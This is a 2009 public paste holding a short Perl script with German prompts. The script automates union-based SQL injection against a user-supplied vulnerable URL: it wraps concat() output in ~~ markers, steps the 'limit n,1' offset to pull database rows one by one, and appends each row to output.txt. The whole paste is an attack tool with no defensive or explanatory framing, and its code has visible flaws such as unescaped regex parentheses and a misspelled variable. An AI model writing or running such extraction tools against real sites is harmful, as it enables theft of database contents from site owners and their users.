Public paste
Undefined
By: Guest | Date: Apr 24 2009 10:16 | Format: None | Expires: never | Size: 825 B | Hits: 898

  1. use LWP::Simple;
  2.  
  3. my $counter = 0;
  4. my $limit = 10;
  5. my $website = "";
  6.  
  7. print "Wieviele tables ausgeben? : ";
  8. my $limit = <STDIN>;
  9. print "Bitte Website mit injection eingeben (Systax siehe readme.html) ? : ";
  10. my $website = <STDIN>;
  11.  
  12.                 $website =~ s/concat(/concat(0x7E,0x7E,/;
  13.                 $website =~ s/)/,0x7E,0x7E)/;
  14.  
  15.  
  16.  
  17. while( $counter <= $limit ) {
  18.         if( $counter == 0) {
  19.                 $website =~ s/limit+0,1/limit+$counter,1/;
  20.         }
  21.         else {
  22.                 my $tausch = $counter-1;
  23.                 $website =~ s/limit+$tausch,1/limit+$counter,1/;
  24.         }
  25.         my $stWebsite = get($website);
  26.     my @data = split(/~~/, $stWebsite);
  27.     my $ausgabe = @data[1];
  28.     undef @data;
  29.     print "$counter => $ausgaben";
  30.         open FILE, ">> output.txt" or die $!;
  31.         print FILE "$counter => $ausgaben";
  32.         close(FILE);
  33.         $counter++;
  34. }
  35.  
  36. system("pause");